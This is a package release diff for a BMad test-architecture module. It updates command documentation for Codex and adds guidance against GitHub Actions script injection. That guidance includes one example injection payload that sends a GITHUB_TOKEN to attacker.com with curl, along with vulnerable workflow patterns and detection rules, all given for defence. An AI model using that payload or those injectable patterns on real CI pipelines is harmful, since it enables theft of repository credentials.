bmad-method-test-architecture-enterprise 1.4.1 → 1.5.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +24 -17
- package/docs/MIGRATION.md +13 -2
- package/docs/how-to/customization/configure-browser-automation.md +1 -1
- package/docs/reference/commands.md +5 -0
- package/docs/reference/troubleshooting.md +7 -3
- package/package.json +1 -1
- package/release_notes.md +6 -5
- package/src/testarch/knowledge/ci-burn-in.md +42 -0
- package/src/workflows/testarch/ci/checklist.md +1 -0
- package/src/workflows/testarch/ci/github-actions-template.yaml +118 -0
- package/src/workflows/testarch/ci/steps-c/step-02-generate-pipeline.md +38 -0
- package/src/workflows/testarch/ci/steps-c/step-03-configure-quality-gates.md +23 -0
- package/src/workflows/testarch/ci/steps-v/step-01-validate.md +14 -0
package/README.md
CHANGED
|
@@ -54,7 +54,7 @@ flowchart LR
|
|
|
54
54
|
|
|
55
55
|
### How It Works at Runtime
|
|
56
56
|
|
|
57
|
-
1. **Trigger** —
|
|
57
|
+
1. **Trigger** — Direct commands are `/bmad:tea:automate` (Claude/Cursor/Windsurf) and `$bmad-tea-testarch-automate` (Codex). `TA` is an agent-menu trigger available only after TEA is activated; the menu in `tea.agent.yaml` maps `TA` to `automate/workflow.yaml`.
|
|
58
58
|
2. **Agent loads** — `tea.agent.yaml` injects the persona (identity, principles, critical actions) into the context window.
|
|
59
59
|
3. **Workflow loads** — `workflow.yaml` resolves config variables and `workflow.md` presents the mode menu (Create / Edit / Validate), then routes to the first step file.
|
|
60
60
|
4. **Step-by-step execution** — Only the current step file is in context (just-in-time loading). Each step explicitly names the next one (`nextStepFile: './step-02-...'`). The LLM reads, executes, saves output, then loads the next step. No future steps are ever preloaded.
|
|
@@ -81,9 +81,9 @@ BMad workflows and Claude Code Skills solve different problems at different scal
|
|
|
81
81
|
|
|
82
82
|
The key insight is that there is **no external runtime engine** — the LLM _is_ the engine. BMad workflows are structured markdown that the LLM follows as instructions: "read this file, execute it completely, save your output, load the next file." Skills are a single tool in a toolbox; BMad workflows are a workshop with a process manual.
|
|
83
83
|
|
|
84
|
-
**How workflows become commands.** When you run `npx bmad-method install`, the installer
|
|
84
|
+
**How workflows become commands.** When you run `npx bmad-method install`, the installer generates tool-specific artifacts for your runtime (for example, Claude Code uses `.claude/commands/`, while Codex uses `.agents/skills/`). In Claude Code, `bmad-tea-testarch-automate.md` tells the LLM: "load the core workflow engine (`workflow.xml`), pass it this workflow config (`automate/workflow.yaml`), follow the instructions exactly." That launcher artifact is the bridge — it triggers the workflow entry point; the multi-step engine takes over from there.
|
|
85
85
|
|
|
86
|
-
```
|
|
86
|
+
```text
|
|
87
87
|
.claude/commands/ # Generated by installer
|
|
88
88
|
├── bmad-agent-tea-tea.md # /tea → loads agent persona + menu
|
|
89
89
|
├── bmad-tea-testarch-automate.md # /automate → loads workflow.xml + workflow.yaml
|
|
@@ -103,13 +103,20 @@ npx bmad-method install
|
|
|
103
103
|
|
|
104
104
|
**Note:** TEA is automatically added to party mode after installation. Use `/party` to collaborate with TEA alongside other BMad agents.
|
|
105
105
|
|
|
106
|
+
### Tool-specific invocation
|
|
107
|
+
|
|
108
|
+
| Tool | Invocation style | Example |
|
|
109
|
+
| ------------------------------- | ------------------------------- | ----------------------------- |
|
|
110
|
+
| Claude Code / Cursor / Windsurf | Slash command | `/bmad:tea:automate` |
|
|
111
|
+
| Codex | `$` skill from `.agents/skills` | `$bmad-tea-testarch-automate` |
|
|
112
|
+
|
|
106
113
|
## Quickstart
|
|
107
114
|
|
|
108
115
|
1. Install TEA (above)
|
|
109
116
|
2. Run one of the core workflows:
|
|
110
|
-
- `TD` / `/bmad:tea:test-design` — test design and risk assessment
|
|
111
|
-
- `AT` / `/bmad:tea:atdd` — failing acceptance tests first (TDD red phase)
|
|
112
|
-
- `TA` / `/bmad:tea:automate` — expand automation coverage
|
|
117
|
+
- `TD` / `/bmad:tea:test-design` / `$bmad-tea-testarch-test-design` — test design and risk assessment
|
|
118
|
+
- `AT` / `/bmad:tea:atdd` / `$bmad-tea-testarch-atdd` — failing acceptance tests first (TDD red phase)
|
|
119
|
+
- `TA` / `/bmad:tea:automate` / `$bmad-tea-testarch-automate` — expand automation coverage
|
|
113
120
|
3. Or use in party mode: `/party` to include TEA with other agents
|
|
114
121
|
|
|
115
122
|
## Engagement Models
|
|
@@ -121,17 +128,17 @@ npx bmad-method install
|
|
|
121
128
|
|
|
122
129
|
## Workflows
|
|
123
130
|
|
|
124
|
-
| Trigger | Command | Purpose |
|
|
125
|
-
| ------- | ---------------------------- | --------------------------------------------------------- |
|
|
126
|
-
| TMT | `/bmad:tea:teach-me-testing` | Teach Me Testing (TEA Academy) |
|
|
127
|
-
| TF | `/bmad:tea:framework` | Scaffold test framework (frontend, backend, or fullstack) |
|
|
128
|
-
| CI | `/bmad:tea:ci` | Set up CI/CD quality pipeline (multi-platform) |
|
|
129
|
-
| TD | `/bmad:tea:test-design` | System-level or epic-level test design |
|
|
130
|
-
| AT | `/bmad:tea:atdd` | Generate failing acceptance tests + checklist |
|
|
131
|
-
| TA | `/bmad:tea:automate` | Expand test automation coverage |
|
|
132
|
-
| RV | `/bmad:tea:test-review` | Review test quality and score |
|
|
133
|
-
| TR | `/bmad:tea:trace` | Trace requirements to tests + gate decision |
|
|
134
|
-
| NR | `/bmad:tea:nfr-assess` | Assess non-functional requirements |
|
|
131
|
+
| Trigger | Slash Command | Codex Skill | Purpose |
|
|
132
|
+
| ------- | ---------------------------- | -------------------------------- | --------------------------------------------------------- |
|
|
133
|
+
| TMT | `/bmad:tea:teach-me-testing` | `$bmad-tea-teach-me-testing` | Teach Me Testing (TEA Academy) |
|
|
134
|
+
| TF | `/bmad:tea:framework` | `$bmad-tea-testarch-framework` | Scaffold test framework (frontend, backend, or fullstack) |
|
|
135
|
+
| CI | `/bmad:tea:ci` | `$bmad-tea-testarch-ci` | Set up CI/CD quality pipeline (multi-platform) |
|
|
136
|
+
| TD | `/bmad:tea:test-design` | `$bmad-tea-testarch-test-design` | System-level or epic-level test design |
|
|
137
|
+
| AT | `/bmad:tea:atdd` | `$bmad-tea-testarch-atdd` | Generate failing acceptance tests + checklist |
|
|
138
|
+
| TA | `/bmad:tea:automate` | `$bmad-tea-testarch-automate` | Expand test automation coverage |
|
|
139
|
+
| RV | `/bmad:tea:test-review` | `$bmad-tea-testarch-test-review` | Review test quality and score |
|
|
140
|
+
| TR | `/bmad:tea:trace` | `$bmad-tea-testarch-trace` | Trace requirements to tests + gate decision |
|
|
141
|
+
| NR | `/bmad:tea:nfr-assess` | `$bmad-tea-testarch-nfr` | Assess non-functional requirements |
|
|
135
142
|
|
|
136
143
|
## Configuration
|
|
137
144
|
|
package/docs/MIGRATION.md
CHANGED
|
@@ -36,6 +36,10 @@ All TEA commands have changed namespace from `/bmad:bmm:tea:*` to `/bmad:tea:*`.
|
|
|
36
36
|
| `TF`, `CI`, `TD`, `AT`, `TA` | Same |
|
|
37
37
|
| `RV`, `TR`, `NR` | Same |
|
|
38
38
|
|
|
39
|
+
Codex skill-mode workflow equivalents: `framework` → `$bmad-tea-testarch-framework`, `ci` → `$bmad-tea-testarch-ci`, `test-design` → `$bmad-tea-testarch-test-design`, `atdd` → `$bmad-tea-testarch-atdd`, `automate` → `$bmad-tea-testarch-automate`, `test-review` → `$bmad-tea-testarch-test-review`, `trace` → `$bmad-tea-testarch-trace`, `nfr-assess` → `$bmad-tea-testarch-nfr`, `teach-me-testing` → `$bmad-tea-teach-me-testing`.
|
|
40
|
+
|
|
41
|
+
Clarification: short triggers like `TD` and `TA` are agent menu triggers after TEA activation; invocation differs by tool (slash commands vs Codex skill calls).
|
|
42
|
+
|
|
39
43
|
**Action Required**: Update any saved prompts, scripts, or documentation that reference the old commands.
|
|
40
44
|
|
|
41
45
|
### 2. Module Installation
|
|
@@ -172,6 +176,8 @@ claude "/bmad:bmm:tea:test-design"
|
|
|
172
176
|
claude "/bmad:tea:test-design"
|
|
173
177
|
```
|
|
174
178
|
|
|
179
|
+
Codex skill mode (in Codex chat): `$bmad-tea-testarch-test-design`
|
|
180
|
+
|
|
175
181
|
**Example: Updating Documentation**
|
|
176
182
|
|
|
177
183
|
```markdown
|
|
@@ -184,6 +190,8 @@ Run `/bmad:bmm:tea:automate` to expand test coverage.
|
|
|
184
190
|
Run `/bmad:tea:automate` to expand test coverage.
|
|
185
191
|
```
|
|
186
192
|
|
|
193
|
+
Codex skill-mode equivalent: use `$bmad-tea-testarch-automate`.
|
|
194
|
+
|
|
187
195
|
### Step 4: Verify Installation
|
|
188
196
|
|
|
189
197
|
Load the TEA agent and run a test command:
|
|
@@ -353,12 +361,15 @@ See [Configure Browser Automation](/docs/how-to/customization/configure-browser-
|
|
|
353
361
|
|
|
354
362
|
**Solution**: Update to new namespace:
|
|
355
363
|
|
|
356
|
-
```
|
|
364
|
+
```text
|
|
357
365
|
# Old (won't work)
|
|
358
366
|
/bmad:bmm:tea:test-design
|
|
359
367
|
|
|
360
368
|
# New (correct)
|
|
361
369
|
/bmad:tea:test-design
|
|
370
|
+
|
|
371
|
+
# Codex skill mode
|
|
372
|
+
$bmad-tea-testarch-test-design
|
|
362
373
|
```
|
|
363
374
|
|
|
364
375
|
### Issue: Configuration Variables Not Set
|
|
@@ -427,7 +438,7 @@ Use this checklist to ensure a smooth migration:
|
|
|
427
438
|
- [ ] Verify BMAD Method version is v7.0.0 or later
|
|
428
439
|
- [ ] Install standalone TEA module via `npx bmad-method install`
|
|
429
440
|
- [ ] Configure TEA variables (test_artifacts, Playwright Utils, MCP)
|
|
430
|
-
- [ ] Update saved
|
|
441
|
+
- [ ] Update saved invocations for your tool (`/bmad:tea:*` for slash-command tools, or `$bmad-tea-*` skills for Codex)
|
|
431
442
|
- [ ] Update documentation references to new commands
|
|
432
443
|
- [ ] Update CI/CD scripts if they invoke TEA commands
|
|
433
444
|
- [ ] Test each workflow you use (e.g., `test-design`, `automate`, `atdd`)
|
|
@@ -33,7 +33,7 @@ npm install -g @playwright/cli@latest # Install globally (Node.js 18+)
|
|
|
33
33
|
playwright-cli install --skills # Register as an agent skill
|
|
34
34
|
```
|
|
35
35
|
|
|
36
|
-
The global npm install is one-time. The skills install (`playwright-cli install --skills`) should be run from your project root — it registers skills in your
|
|
36
|
+
The global npm install is one-time. The skills install (`playwright-cli install --skills`) should be run from your project root — it registers skills in your active tool's project skills directory (for example, Claude Code uses `.claude/skills/` and Codex uses `.agents/skills/`). Agents without skills support can still use the CLI directly via `playwright-cli --help`.
|
|
37
37
|
|
|
38
38
|
### For MCP (`mcp` or `auto` mode)
|
|
39
39
|
|
|
@@ -7,6 +7,11 @@ description: Quick reference for all 9 TEA workflows - inputs, outputs, and link
|
|
|
7
7
|
|
|
8
8
|
Quick reference for all 9 TEA (Test Engineering Architect) workflows. For detailed step-by-step guides, see the how-to documentation.
|
|
9
9
|
|
|
10
|
+
**Invocation by tool:**
|
|
11
|
+
|
|
12
|
+
- Claude Code / Cursor / Windsurf: use slash commands (for example, `/bmad:tea:automate`)
|
|
13
|
+
- Codex: use `$` skills from `.agents/skills` (for example, `$bmad-tea-testarch-automate`)
|
|
14
|
+
|
|
10
15
|
## Quick Index
|
|
11
16
|
|
|
12
17
|
- [`teach-me-testing`](#teach-me-testing) - Learn testing (TEA Academy)
|
|
@@ -195,9 +195,13 @@ If the BMAD installer can run but cannot fetch the Test Architect module from Gi
|
|
|
195
195
|
```
|
|
196
196
|
|
|
197
197
|
3. Test workflow trigger directly:
|
|
198
|
-
|
|
199
|
-
|
|
198
|
+
|
|
199
|
+
```text
|
|
200
|
+
# Try full slash command
|
|
200
201
|
/bmad:tea:test-design
|
|
202
|
+
|
|
203
|
+
# Codex skill-mode alternative
|
|
204
|
+
$bmad-tea-testarch-test-design
|
|
201
205
|
```
|
|
202
206
|
|
|
203
207
|
---
|
|
@@ -685,7 +689,7 @@ When reporting issues, include:
|
|
|
685
689
|
Check these first:
|
|
686
690
|
|
|
687
691
|
- [ ] TEA is installed: `ls -la _bmad/tea/`
|
|
688
|
-
- [ ] Using correct
|
|
692
|
+
- [ ] Using the correct invocation for your tool: slash namespace `/bmad:tea:*` (not `/bmad:bmm:tea:*`) or Codex skill equivalents (`$bmad-tea-*`)
|
|
689
693
|
- [ ] Module.yaml exists and is valid
|
|
690
694
|
- [ ] Knowledge base files present (40 fragments)
|
|
691
695
|
- [ ] Output directory exists and is writable
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"$schema": "https://json.schemastore.org/package.json",
|
|
3
3
|
"name": "bmad-method-test-architecture-enterprise",
|
|
4
|
-
"version": "1.
|
|
4
|
+
"version": "1.5.1",
|
|
5
5
|
"description": "Master Test Architect for quality strategy, test automation, and release gates",
|
|
6
6
|
"keywords": [
|
|
7
7
|
"bmad",
|
package/release_notes.md
CHANGED
|
@@ -1,9 +1,10 @@
|
|
|
1
|
-
## 🚀 What's New in v1.
|
|
1
|
+
## 🚀 What's New in v1.5.1
|
|
2
2
|
|
|
3
3
|
### 📦 Other Changes
|
|
4
|
-
- docs:
|
|
5
|
-
-
|
|
6
|
-
-
|
|
4
|
+
- docs: update codex skill mode
|
|
5
|
+
- review comment
|
|
6
|
+
- review comments 2
|
|
7
|
+
- Merge pull request #50 from bmad-code-org/docs/update-codex-skill-mode
|
|
7
8
|
|
|
8
9
|
|
|
9
10
|
## 📦 Installation
|
|
@@ -13,4 +14,4 @@ npx bmad-method install
|
|
|
13
14
|
# Select "Test Architect" from module menu
|
|
14
15
|
```
|
|
15
16
|
|
|
16
|
-
**Full Changelog**: https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/compare/v1.
|
|
17
|
+
**Full Changelog**: https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/compare/v1.5.0...v1.5.1
|
|
@@ -8,6 +8,48 @@ CI pipelines must execute tests reliably, quickly, and provide clear feedback. B
|
|
|
8
8
|
|
|
9
9
|
CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness.
|
|
10
10
|
|
|
11
|
+
## Security: Script Injection Prevention
|
|
12
|
+
|
|
13
|
+
**Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks. Always pass through `env:` and reference as `"$ENV_VAR"` (double-quoted).
|
|
14
|
+
|
|
15
|
+
When CI templates are extended into reusable workflows (`on: workflow_call`), manual dispatch workflows (`on: workflow_dispatch`), or composite actions, `${{ inputs.* }}` values become user-controllable. Interpolating them directly in `run:` blocks enables shell command injection.
|
|
16
|
+
|
|
17
|
+
### Vulnerable vs Safe Pattern
|
|
18
|
+
|
|
19
|
+
```yaml
|
|
20
|
+
# ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
|
|
21
|
+
- name: Run tests
|
|
22
|
+
run: |
|
|
23
|
+
npx playwright test --grep "${{ inputs.test_ids }}"
|
|
24
|
+
|
|
25
|
+
# ✅ SAFE — env var cannot break out of shell quoting
|
|
26
|
+
- name: Run tests
|
|
27
|
+
env:
|
|
28
|
+
TEST_IDS: ${{ inputs.test_ids }}
|
|
29
|
+
run: |
|
|
30
|
+
npx playwright test --grep "$TEST_IDS"
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
### Unsafe Contexts (require env: intermediary)
|
|
34
|
+
|
|
35
|
+
- `${{ inputs.* }}` — workflow_call and workflow_dispatch inputs
|
|
36
|
+
- `${{ github.event.* }}` — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.)
|
|
37
|
+
- `${{ github.head_ref }}` — PR source branch name (user-controlled)
|
|
38
|
+
|
|
39
|
+
**Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments.
|
|
40
|
+
|
|
41
|
+
### Safe Contexts (safe from GitHub expression injection in run: blocks)
|
|
42
|
+
|
|
43
|
+
- `${{ steps.*.outputs.* }}` — pre-computed by your own code
|
|
44
|
+
- `${{ matrix.* }}` — defined in workflow YAML
|
|
45
|
+
- `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` — system-controlled
|
|
46
|
+
- `${{ secrets.* }}` — secret store, not user-injectable
|
|
47
|
+
- `${{ env.* }}` — already an env var
|
|
48
|
+
|
|
49
|
+
> **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply — always double-quote variable references in `run:` blocks.
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
11
53
|
## Pattern Examples
|
|
12
54
|
|
|
13
55
|
### Example 1: GitHub Actions Workflow with Parallel Execution
|
|
@@ -161,6 +161,7 @@ Note: CI setup is typically a one-time task per repo and can be run any time aft
|
|
|
161
161
|
- [ ] Environment variables for sensitive data
|
|
162
162
|
- [ ] Artifact retention appropriate (not too long)
|
|
163
163
|
- [ ] No debug output exposing secrets
|
|
164
|
+
- [ ] **MUST**: No `${{ inputs.* }}` or user-controlled GitHub context (`github.event.pull_request.title`, `github.event.issue.body`, `github.event.comment.body`, `github.head_ref`) directly in `run:` blocks — all passed through `env:` intermediaries and referenced as `"$ENV_VAR"`
|
|
164
165
|
|
|
165
166
|
## Integration Points
|
|
166
167
|
|
|
@@ -208,3 +208,121 @@ jobs:
|
|
|
208
208
|
if [ "${{ needs.burn-in.result }}" == "failure" ]; then
|
|
209
209
|
echo "⚠️ **Flaky tests detected** - Review burn-in artifacts" >> $GITHUB_STEP_SUMMARY
|
|
210
210
|
fi
|
|
211
|
+
|
|
212
|
+
# ============================================================================
|
|
213
|
+
# EXTENSION PATTERNS — Script Injection Prevention
|
|
214
|
+
# ============================================================================
|
|
215
|
+
# When extending this template into reusable workflows, manual dispatch
|
|
216
|
+
# workflows, or composite actions, NEVER use ${{ inputs.* }} directly in
|
|
217
|
+
# run: blocks. Always pass through env: intermediaries.
|
|
218
|
+
#
|
|
219
|
+
# KEY PRINCIPLE: Inputs must be DATA, not COMMANDS.
|
|
220
|
+
# Pass inputs through env: and interpolate as quoted arguments into fixed
|
|
221
|
+
# commands. NEVER accept command-shaped inputs (e.g., install-command,
|
|
222
|
+
# test-command) that get executed as shell code — even through env:.
|
|
223
|
+
#
|
|
224
|
+
# --- Reusable Workflow (workflow_call) ---
|
|
225
|
+
#
|
|
226
|
+
# on:
|
|
227
|
+
# workflow_call:
|
|
228
|
+
# inputs:
|
|
229
|
+
# test-grep:
|
|
230
|
+
# description: 'Test grep filter (data only — not a command)'
|
|
231
|
+
# type: string
|
|
232
|
+
# required: false
|
|
233
|
+
# default: ''
|
|
234
|
+
# base-ref:
|
|
235
|
+
# description: 'Base branch for diff'
|
|
236
|
+
# type: string
|
|
237
|
+
# required: false
|
|
238
|
+
# default: 'main'
|
|
239
|
+
# burn-in-count:
|
|
240
|
+
# description: 'Number of burn-in iterations'
|
|
241
|
+
# type: string
|
|
242
|
+
# required: false
|
|
243
|
+
# default: '10'
|
|
244
|
+
#
|
|
245
|
+
# jobs:
|
|
246
|
+
# test:
|
|
247
|
+
# runs-on: ubuntu-latest
|
|
248
|
+
# steps:
|
|
249
|
+
# - uses: actions/checkout@v4
|
|
250
|
+
# # Fixed command — not derived from inputs
|
|
251
|
+
# - name: Install dependencies
|
|
252
|
+
# run: npm ci
|
|
253
|
+
# # ✅ SAFE — input is DATA passed as an argument to a fixed command
|
|
254
|
+
# - name: Run tests
|
|
255
|
+
# env:
|
|
256
|
+
# TEST_GREP: ${{ inputs.test-grep }}
|
|
257
|
+
# run: |
|
|
258
|
+
# # Security: inputs passed through env: to prevent script injection
|
|
259
|
+
# if [ -n "$TEST_GREP" ]; then
|
|
260
|
+
# npx playwright test --grep "$TEST_GREP"
|
|
261
|
+
# else
|
|
262
|
+
# npx playwright test
|
|
263
|
+
# fi
|
|
264
|
+
#
|
|
265
|
+
# --- Manual Dispatch (workflow_dispatch) ---
|
|
266
|
+
#
|
|
267
|
+
# on:
|
|
268
|
+
# workflow_dispatch:
|
|
269
|
+
# inputs:
|
|
270
|
+
# test-grep:
|
|
271
|
+
# description: 'Test grep filter (data only — not a command)'
|
|
272
|
+
# type: string
|
|
273
|
+
# required: false
|
|
274
|
+
# environment:
|
|
275
|
+
# description: 'Target environment'
|
|
276
|
+
# type: choice
|
|
277
|
+
# options: [staging, production]
|
|
278
|
+
#
|
|
279
|
+
# jobs:
|
|
280
|
+
# run-tests:
|
|
281
|
+
# runs-on: ubuntu-latest
|
|
282
|
+
# steps:
|
|
283
|
+
# - uses: actions/checkout@v4
|
|
284
|
+
# # ✅ SAFE — input is DATA interpolated into a fixed command
|
|
285
|
+
# - name: Run selected tests
|
|
286
|
+
# env:
|
|
287
|
+
# TEST_GREP: ${{ inputs.test-grep }}
|
|
288
|
+
# run: |
|
|
289
|
+
# # Security: inputs passed through env: to prevent script injection
|
|
290
|
+
# npx playwright test --grep "$TEST_GREP"
|
|
291
|
+
#
|
|
292
|
+
# --- Composite Action (action.yml) ---
|
|
293
|
+
#
|
|
294
|
+
# inputs:
|
|
295
|
+
# test-grep:
|
|
296
|
+
# description: 'Test grep filter (data only — not a command)'
|
|
297
|
+
# required: false
|
|
298
|
+
# default: ''
|
|
299
|
+
# burn-in-count:
|
|
300
|
+
# description: 'Number of burn-in iterations'
|
|
301
|
+
# required: false
|
|
302
|
+
# default: '10'
|
|
303
|
+
#
|
|
304
|
+
# runs:
|
|
305
|
+
# using: composite
|
|
306
|
+
# steps:
|
|
307
|
+
# # ✅ SAFE — inputs are DATA arguments to fixed commands
|
|
308
|
+
# - name: Run burn-in
|
|
309
|
+
# shell: bash
|
|
310
|
+
# env:
|
|
311
|
+
# TEST_GREP: ${{ inputs.test-grep }}
|
|
312
|
+
# BURN_IN_COUNT: ${{ inputs.burn-in-count }}
|
|
313
|
+
# run: |
|
|
314
|
+
# # Security: inputs passed through env: to prevent script injection
|
|
315
|
+
# for i in $(seq 1 "$BURN_IN_COUNT"); do
|
|
316
|
+
# echo "Burn-in iteration $i/$BURN_IN_COUNT"
|
|
317
|
+
# npx playwright test --grep "$TEST_GREP" || exit 1
|
|
318
|
+
# done
|
|
319
|
+
#
|
|
320
|
+
# ❌ NEVER DO THIS:
|
|
321
|
+
# # Direct ${{ inputs.* }} in run: — GitHub expression injection
|
|
322
|
+
# - run: npx playwright test --grep "${{ inputs.test-grep }}"
|
|
323
|
+
#
|
|
324
|
+
# # Executing input-derived env var as a command — still command injection
|
|
325
|
+
# - env:
|
|
326
|
+
# CMD: ${{ inputs.test-command }}
|
|
327
|
+
# run: $CMD
|
|
328
|
+
# ============================================================================
|
|
@@ -119,6 +119,44 @@ Use templates from `{installed_path}` when available. Adapt the template to the
|
|
|
119
119
|
|
|
120
120
|
---
|
|
121
121
|
|
|
122
|
+
## Security: Script Injection Prevention
|
|
123
|
+
|
|
124
|
+
> **CRITICAL:** Treat `${{ inputs.* }}` and the entire `${{ github.event.* }}` namespace as unsafe by default. ALWAYS route them through `env:` intermediaries and reference as double-quoted `"$ENV_VAR"` in `run:` blocks. NEVER interpolate them directly.
|
|
125
|
+
|
|
126
|
+
When the generated pipeline is extended into reusable workflows (`on: workflow_call`), manual dispatch (`on: workflow_dispatch`), or composite actions, these values become user-controllable and can inject arbitrary shell commands.
|
|
127
|
+
|
|
128
|
+
**Two rules for generated `run:` blocks:**
|
|
129
|
+
|
|
130
|
+
1. **No direct interpolation** — pass unsafe contexts through `env:`, reference as `"$ENV_VAR"`
|
|
131
|
+
2. **Inputs must be DATA, not COMMANDS** — never accept command-shaped inputs (e.g., `inputs.install-command`) that get executed as shell code. Even through `env:`, running `$CMD` where CMD comes from an input is still command injection. Use fixed commands and pass inputs only as arguments.
|
|
132
|
+
|
|
133
|
+
```yaml
|
|
134
|
+
# ✅ SAFE — input is DATA interpolated into a fixed command
|
|
135
|
+
- name: Run tests
|
|
136
|
+
env:
|
|
137
|
+
TEST_GREP: ${{ inputs.test-grep }}
|
|
138
|
+
run: |
|
|
139
|
+
# Security: inputs passed through env: to prevent script injection
|
|
140
|
+
npx playwright test --grep "$TEST_GREP"
|
|
141
|
+
|
|
142
|
+
# ❌ NEVER — direct GitHub expression injection
|
|
143
|
+
- name: Run tests
|
|
144
|
+
run: |
|
|
145
|
+
npx playwright test --grep "${{ inputs.test-grep }}"
|
|
146
|
+
|
|
147
|
+
# ❌ NEVER — executing input-derived env var as a command
|
|
148
|
+
- name: Install
|
|
149
|
+
env:
|
|
150
|
+
CMD: ${{ inputs.install-command }}
|
|
151
|
+
run: $CMD
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
Include a `# Security: inputs passed through env: to prevent script injection` comment in generated YAML wherever this pattern is applied.
|
|
155
|
+
|
|
156
|
+
**Safe contexts** (do NOT need `env:` intermediaries): `${{ steps.*.outputs.* }}`, `${{ matrix.* }}`, `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}`, `${{ secrets.* }}`, `${{ env.* }}`.
|
|
157
|
+
|
|
158
|
+
---
|
|
159
|
+
|
|
122
160
|
## 2. Pipeline Stages
|
|
123
161
|
|
|
124
162
|
Include stages:
|
|
@@ -48,6 +48,29 @@ Use `{knowledgeIndex}` to load `ci-burn-in.md` guidance:
|
|
|
48
48
|
- **Frontend or Fullstack** (`test_stack_type` is `frontend` or `fullstack`): Enable burn-in by default. Burn-in targets UI flakiness (race conditions, selector instability, timing issues).
|
|
49
49
|
- **Backend only** (`test_stack_type` is `backend`): Skip burn-in by default. Backend tests (unit, integration, API) are deterministic and rarely exhibit UI-related flakiness. If the user explicitly requests burn-in for backend, honor that override.
|
|
50
50
|
|
|
51
|
+
**Security: Script injection prevention for reusable burn-in workflows:**
|
|
52
|
+
|
|
53
|
+
When burn-in is extracted into a reusable workflow (`on: workflow_call`), all `${{ inputs.* }}` values MUST be passed through `env:` intermediaries and referenced as quoted `"$ENV_VAR"`. Never interpolate them directly.
|
|
54
|
+
|
|
55
|
+
**Inputs must be DATA, not COMMANDS.** Do not accept command-shaped inputs (e.g., `inputs.install-command`, `inputs.test-command`) that get executed as shell code — even through `env:`, running `$CMD` is still command injection. Use fixed commands (e.g., `npm ci`, `npx playwright test`) and pass inputs only as data arguments.
|
|
56
|
+
|
|
57
|
+
```yaml
|
|
58
|
+
# ✅ SAFE — fixed commands with data-only inputs
|
|
59
|
+
- name: Install dependencies
|
|
60
|
+
run: npm ci
|
|
61
|
+
- name: Run burn-in loop
|
|
62
|
+
env:
|
|
63
|
+
TEST_GREP: ${{ inputs.test-grep }}
|
|
64
|
+
BURN_IN_COUNT: ${{ inputs.burn-in-count }}
|
|
65
|
+
BASE_REF: ${{ inputs.base-ref }}
|
|
66
|
+
run: |
|
|
67
|
+
# Security: inputs passed through env: to prevent script injection
|
|
68
|
+
for i in $(seq 1 "$BURN_IN_COUNT"); do
|
|
69
|
+
echo "Burn-in iteration $i/$BURN_IN_COUNT"
|
|
70
|
+
npx playwright test --grep "$TEST_GREP" || exit 1
|
|
71
|
+
done
|
|
72
|
+
```
|
|
73
|
+
|
|
51
74
|
---
|
|
52
75
|
|
|
53
76
|
## 2. Quality Gates
|
|
@@ -50,6 +50,20 @@ Read `{validationChecklist}` and list all criteria.
|
|
|
50
50
|
|
|
51
51
|
Evaluate outputs against each checklist item.
|
|
52
52
|
|
|
53
|
+
### 2a. Script Injection Scan
|
|
54
|
+
|
|
55
|
+
Scan all generated YAML workflow files for unsafe interpolation patterns inside `run:` blocks.
|
|
56
|
+
|
|
57
|
+
**Unsafe patterns to flag (FAIL):**
|
|
58
|
+
|
|
59
|
+
- `${{ inputs.* }}` — all workflow inputs are user-controllable
|
|
60
|
+
- `${{ github.event.* }}` — treat the entire event namespace as unsafe by default (includes PR titles, issue bodies, comment bodies, label names, etc.)
|
|
61
|
+
- `${{ github.head_ref }}` — PR source branch name (user-controlled)
|
|
62
|
+
|
|
63
|
+
**Detection method:** For each `run:` block in generated YAML, check if any of the above expressions appears in the run script body. If found, flag as **FAIL** with the exact line and recommend converting to the safe `env:` intermediary pattern (pass through `env:`, reference as double-quoted `"$ENV_VAR"`).
|
|
64
|
+
|
|
65
|
+
**Safe patterns to ignore** (exempt from flagging): `${{ steps.*.outputs.* }}`, `${{ matrix.* }}`, `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}`, `${{ secrets.* }}`, `${{ env.* }}` — these are safe from GitHub expression injection when used in `run:` blocks.
|
|
66
|
+
|
|
53
67
|
### 3. Write Report
|
|
54
68
|
|
|
55
69
|
Write a validation report to `{outputFile}` with PASS/WARN/FAIL per section.
|